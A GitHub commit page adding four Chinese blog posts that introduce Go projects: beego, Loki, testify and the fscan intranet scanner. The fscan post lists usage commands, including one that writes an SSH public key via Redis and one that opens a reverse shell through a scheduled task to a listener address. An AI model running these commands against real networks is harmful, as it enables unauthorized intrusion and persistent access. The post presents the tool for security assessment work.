Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
ZhuPeng committed Jul 25, 2024
1 parent f951c77 commit b769617
Show file tree
Hide file tree
Showing 10 changed files with 908 additions and 0 deletions.
113 changes: 113 additions & 0 deletions _posts/2024-07-25-20-01-cg-beego-beego.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
---
layout: post
title: GitHub 开源项目 beego/beego 介绍,beego is an open-source, high-performance web framework for the Go programming language.
tags: Go
---

大家好,又见面了,我是 GitHub 精选君!

###### 背景介绍

今天要给大家推荐一个 GitHub 开源项目 beego/beego,该项目在 GitHub 有超过 31.2k Star。

![](https://stats.deeptrain.net/repo/beego/beego/?theme=light)

一句话介绍该项目:beego is an open-source, high-performance web framework for the Go programming language.





###### 项目介绍

### Beego:高性能 Go 语言 Web 框架

#### 背景介绍
在快速发展的互联网时代,Web 应用及服务的开发需求日益增长,开发人员需面对复杂多变的业务需求、数据处理以及高并发等挑战。这些复杂场景下,寻找一个既能快速开发又能保持应用高性能的 Web 框架成为开发者迫切需要解决的问题。尤其是在 Go 语言生态中,虽然 Go 已因其简洁的语法和强大的性能受到青睐,但是高效的框架选择相对较少,这对于希望利用 Go 开发企业级应用的开发者来说是一个大问题。

####

![](https://raw.githubusercontent.com/ZhuPeng/pic/master/mac/compress_tmp-b3c244869d9f3045d0170ec11bf7aded.png)

项目介绍
`Beego` 是针对 Go 语言设计的一个开源、高性能 Web 框架,它支持快速开发企业应用,包括 RESTful APIs、Web 应用和后端服务。灵感来源于 `Tornado``Sinatra``Flask``Beego` 结合了 Go 语言的特性,如接口和结构体嵌入,提供了一种简便的方式来加速开发。

主要特点包括但不限于:
- 支持 RESTful 应用开发
- MVC 架构模式
- 模块化设计
- 自动 API 文档生成
- 注解路由
- 命名空间
- 强大的开发工具
- 完整的 Web & API 栈支持

此外,`Beego` 还提供了一系列模块,如 ORM、会话管理、日志、配置、缓存、上下文管理等,对于企业级应用开发十分有用。

#### 如何使用
安装 `Beego` 非常简单:

1. 创建和进入一个新的目录:

```bash
mkdir hello
cd hello
```

2. 初始化模块:

```bash
go mod init
```

3. 下载并安装 `Beego`

```bash
go get github.com/beego/beego/v2@latest
```

4. 创建文件 `hello.go` 并输入以下内容:

```go
package main

import "github.com/beego/beego/v2/server/web"

func main() {
web.Run()
}
```

5. 下载依赖并构建运行:

```bash
go mod tidy
go build hello.go
./hello
```

访问 [http://localhost:8080](http://localhost:8080) 即可看到成果。

#### 项目推介
`Beego` 因其强大功能和高性能已被多家知名公司采用,不仅有活跃的开发社区支持,其中开发者 `@flycash` 等也是公认的 Go 语言领域的专家。该项目不断更新迭代,保持着高质量的文档和社区支持,无论是对于初学者还是有经验的开发者都极具吸引力。成熟的社区、丰富的学习资源以及强大的实际应用案例,无疑使 `Beego` 成为了开发 Go 语言 Web 应用的首选框架之一。

选择 `Beego`,无疑是为你的项目选择了一个强大的、高效的开发伙伴。立即加入 `Beego` 的用户行列,开始你的 Go 语言 Web 开发之旅吧!

以下是该项目 Star 趋势图(代表项目的活跃程度):

![](https://api.star-history.com/svg?repos=beego/beego&type=Timeline)

更多项目详情请查看如下链接。

开源项目地址:https://github.com/beego/beego

开源项目作者:beego

开源协议:

以下是参与项目建设的所有成员:

![](https://contrib.rocks/image?repo=beego/beego)

关注我们,一起探索有意思的开源项目。

74 changes: 74 additions & 0 deletions _posts/2024-07-25-20-03-cg-grafana-loki.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
---
layout: post
title: GitHub 开源项目 grafana/loki 介绍,Like Prometheus, but for logs.
tags: Go
---

大家好,又见面了,我是 GitHub 精选君!

###### 背景介绍

今天要给大家推荐一个 GitHub 开源项目 grafana/loki,该项目在 GitHub 有超过 22.9k Star。

![](https://stats.deeptrain.net/repo/grafana/loki/?theme=light)

一句话介绍该项目:Like Prometheus, but for logs.




![](https://raw.githubusercontent.com/grafana/loki/master/docs/sources/logo_and_name.png)


###### 项目介绍

对于开发人员和系统管理员而言,日志管理和分析是一项绕不开的任务,它对于调试应用、监控系统性能、追踪安全事件等方面都至关重要。然而,随着云原生应用和微服务架构的流行,系统和服务生成的日志量剧增,日志数据的管理和分析变得日益复杂和昂贵。常见的痛点包括日志数据海量而不易搜索、日志存储成本高昂以及难以实现高效的日志监控和分析。

基于这样的背景,[Loki](https://github.com/grafana/loki) 应运而生。Loki 是一种水平可扩展、高可用、多租户的日志聚合系统,它的设计灵感来源于 [Prometheus](https://prometheus.io/),旨在提供一种成本效益高且易于操作的日志解决方案。与其他日志聚合系统不同,Loki 不对日志内容进行全文索引,而是索引每个日志流的一组标签,这样既降低了运营成本又简化了操作。

Loki 的主要特点包括:

- 使用与 Prometheus 相同的标签索引和分组日志流,使得开发人员可以无缝地在度量指标和日志之间切换,使用相同的标签体系;
- 特别适合存储 Kubernetes Pod 日志,Pod 标签等元数据会被自动抓取和索引;
- 在 Grafana (需要 Grafana v6.0) 中有原生支持,便于查询和展示日志数据。

Loki 的日志堆栈由三个组件构成:

- `promtail`:负责收集日志并将其发送到 Loki 的代理。
- `loki`:主服务器,负责存储日志和处理查询请求。
- `Grafana`:用于查询和显示日志的界面。

### 如何使用 Loki

Loki 的安装和使用都非常简单。以下是一些基本步骤:

1. 安装 Loki:访问 [Loki 的安装文档](https://grafana.com/docs/loki/latest/installation/)获取详细安装指南。
2. 安装 Promtail:Promtail 的安装也很直接,详见[安装 Promtail 指南](https://grafana.com/docs/loki/latest/clients/promtail/installation/)
3. 配置并启动 Loki 和 Promtail,然后通过 Grafana 连接至你的 Loki 实例,开始查询和查看日志。

代码示例和更具体的使用方法可在 Loki 的官方文档中找到。

### 项目推介

Loki 已经在开源社区获得广泛的关注和应用,不仅因为其设计上的创新(如与 Prometheus 的紧密集成和对标签的高效使用),还因为 Grafana Labs(Loki 项目的主要维护者)在可视化领域的权威和传统。Loki 适用于各种规模的企业,从小型团队到大型企业,都可以从中受益。目前,许多知名公司和组织已经在使用 Loki 来管理他们的日志数据,不仅因为其出色的性能和易用性,还因为与 Grafana 的无缝集成为日志分析和监控提供了强大的视觉能力。

Loki 的开发活跃,社区活跃,是一个值得投入和使用的项目。无论你是正在寻找一种高效、经济的日志管理方案,还是希望在日志分析上获得更深入的洞察,Loki 都是一个值得考虑的选择。

以下是该项目 Star 趋势图(代表项目的活跃程度):

![](https://api.star-history.com/svg?repos=grafana/loki&type=Timeline)

更多项目详情请查看如下链接。

开源项目地址:https://github.com/grafana/loki

开源项目作者:grafana

开源协议:

以下是参与项目建设的所有成员:

![](https://contrib.rocks/image?repo=grafana/loki)

关注我们,一起探索有意思的开源项目。

108 changes: 108 additions & 0 deletions _posts/2024-07-25-20-03-cg-stretchr-testify.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
---
layout: post
title: GitHub 开源项目 stretchr/testify 介绍,A toolkit with common assertions and mocks that plays nicely with the standard library
tags: Go
---

大家好,又见面了,我是 GitHub 精选君!

###### 背景介绍

今天要给大家推荐一个 GitHub 开源项目 stretchr/testify,该项目在 GitHub 有超过 22.7k Star。

![](https://stats.deeptrain.net/repo/stretchr/testify/?theme=light)

一句话介绍该项目:A toolkit with common assertions and mocks that plays nicely with the standard library





###### 项目介绍

背景介绍:在软件开发过程中,确保代码质量是每个开发者的首要任务。无论是新功能的开发还是现有功能的维护,编写可靠、易于维护的单元测试都是实现这一目标不可或缺的一步。然而,Go 语言的标准库虽然提供了基础的测试框架,但在进行更复杂的断言或模拟外部依赖时,开发者可能会发现自己需要编写大量模板代码。这不仅耗时而且降低了测试代码的可读性和易用性,是许多 Go 开发者面临的核心痛点。



![](https://raw.githubusercontent.com/ZhuPeng/pic/master/mac/compress_tmp-ddc4920b76bdab84ed7a4ec278ddb1ba.png)

项目介绍:为了解决上述问题,《Testify》应运而生。这是一个为 Go 语言设计的测试工具包,它与标准库无缝集成,旨在简化测试过程。该项目提供了一系列功能强大的工具,包括但不限于易于使用的断言、高效的模拟机制和全面的测试套件接口。通过使用《Testify》,开发者可以轻松编写更加清晰、精确的测试代码,提高测试覆盖率,同时降低测试代码的维护成本。此外,《Testify》还支持友好的失败描述输出,使得测试结果更易于理解。

如何使用:安装《Testify》极其简单,只需一行命令即可:

```shell
go get github.com/stretchr/testify
```

使用《Testify》的断言功能进行测试示例:

```go
package yours

import (
"testing"
"github.com/stretchr/testify/assert"
)

func TestSomething(t *testing.T) {
// 使用 assert 进行不同类型的断言
assert.Equal(t, 123, 123, "they should be equal")
assert.NotEqual(t, 123, 456, "they should not be equal")
assert.Nil(t, nil)
if assert.NotNil(t, t) {
assert.Equal(t, "Something", "Something")
}
}
```

若需要使用模拟功能,可参考以下示例:

```go
package yours

import (
"testing"
"github.com/stretchr/testify/mock"
)

// MyMockedObject 是一个模拟对象示例
type MyMockedObject struct{
mock.Mock
}

func (m *MyMockedObject) DoSomething(number int) (bool, error) {
args := m.Called(number)
return args.Bool(0), args.Error(1)
}

func TestSomething(t *testing.T) {
testObj := new(MyMockedObject)
testObj.On("DoSomething", 123).Return(true, nil)

// 调用测试代码
// targetFuncThatDoesSomethingWithObj(testObj)

testObj.AssertExpectations(t)
}
```

项目推介:自从《Testify》项目发布以来,其以其强大的功能、易用性以及高效的性能,迅速在 Go 社区中获得了广泛的认可和好评。该项目目前在 GitHub 上拥有众多星标,社区活跃,定期发布更新,保证了工具的先进性和稳定性。无论是个人开发者还是大型企业,都可以从《Testify》中受益。其中,知名公司如 Google、Amazon 等都在其项目中使用了《Testify》。如果你在寻找一个强大而且高效的 Go 语言测试工具,《Testify》无疑是你的首选。

以下是该项目 Star 趋势图(代表项目的活跃程度):

![](https://api.star-history.com/svg?repos=stretchr/testify&type=Timeline)

更多项目详情请查看如下链接。

开源项目地址:https://github.com/stretchr/testify

开源项目作者:stretchr

开源协议:

以下是参与项目建设的所有成员:

![](https://contrib.rocks/image?repo=stretchr/testify)

关注我们,一起探索有意思的开源项目。

97 changes: 97 additions & 0 deletions _posts/2024-07-25-20-05-cg-shadow1ng-fscan.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
---
layout: post
title: GitHub 开源项目 shadow1ng/fscan 介绍,一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
tags: Go
---

大家好,又见面了,我是 GitHub 精选君!

###### 背景介绍

今天要给大家推荐一个 GitHub 开源项目 shadow1ng/fscan,该项目在 GitHub 有超过 9.2k Star。

![](https://stats.deeptrain.net/repo/shadow1ng/fscan/?theme=light)

一句话介绍该项目:一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。




![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/1.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/4.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/2.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/3.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/2020-12-12-13-34-44.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/netbios.png)

![](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/netbios1.png)

![img.png](https://raw.githubusercontent.com/shadow1ng/fscan/master/image/live.png)

![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)


###### 项目介绍

### fscan:一款全能型内网安全扫描工具

#### 背景介绍
随着信息技术的快速发展,企业内网的复杂程度日益增加,面对潜在的安全威胁,安全检测成为维护内网安全的重要手段。然而,传统的安全检测工具或服务往往仅覆盖有限的范围,无法全面评估和应对内网潜在的安全风险。特别是在大型网络环境中,信息搜集、漏洞扫描、服务爆破等多个阶段的工作量庞大,且极易漏洞令人头疼。针对这些问题,业界急需一种高效、全面的内网安全检测解决方案。

####

![](https://raw.githubusercontent.com/ZhuPeng/pic/master/mac/compress_tmp-496cbf55824923fcc20e0888cf8f0fcf.png)

项目介绍
[fscan](https://github.com/shadow1ng/fscan) 是一款强大的内网综合扫描工具,旨在为安全工程师提供一键自动化、全方位的漏扫扫描功能。该工具支持主机存活探测、端口扫描、常见服务的爆破、高危漏洞扫描如 ms17010、Redis 批量写公钥、计划任务反弹 shell、读取 Windows 网卡信息、Web 指纹识别、Web 漏洞扫描等功能,基本覆盖了内网安全检测的各个方面。此外,fscan 的设计理念注重易用性和效率,大大减轻了安全专家的工作负担。

#### 如何使用
fscan 的安装和使用相当简单,用户可以直接在 GitHub 上获取最新的可执行程序。以下是一些基本用法和示例:

- 简单用法:
```bash
fscan.exe -h 192.168.1.1/24 # 扫描整个C段,使用全部模块
```

- 指定模块和端口:
```bash
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 # 指定模块ssh和端口2222扫描
```

- Redis 写公钥和计划任务反弹 shell:
```bash
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # Redis 写公钥
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
```

对于 Linux 用户,可以使用 Arch Linux 的 AUR 安装:
```bash
yay -S fscan-git # 或者 paru -S fscan-git
```

#### 项目推介
fscan 已经成为许多安全专家和组织在内网检测与评估工作中的首选工具。其不仅开发活跃,且作者 shadow1ng 是信息安全领域内知名人士,在业界拥有良好的口碑。此外,该项目也是 404Team 星链计划 2.0 的一部分,这个计划聚集了许多优秀的安全工具和专家,提供了丰富的资源和强有力的社区支持。凭借着强大的功能、简便的操作和活跃的社区支持,fscan 已经获得了广泛的认可和好评,无论是对于安全新手还是老手来说,都是一个值得入手和长期关注的工具。

以下是该项目 Star 趋势图(代表项目的活跃程度):

![](https://api.star-history.com/svg?repos=shadow1ng/fscan&type=Timeline)

更多项目详情请查看如下链接。

开源项目地址:https://github.com/shadow1ng/fscan

开源项目作者:shadow1ng

开源协议:

以下是参与项目建设的所有成员:

![](https://contrib.rocks/image?repo=shadow1ng/fscan)

关注我们,一起探索有意思的开源项目。

Loading

0 comments on commit b769617

Please sign in to comment.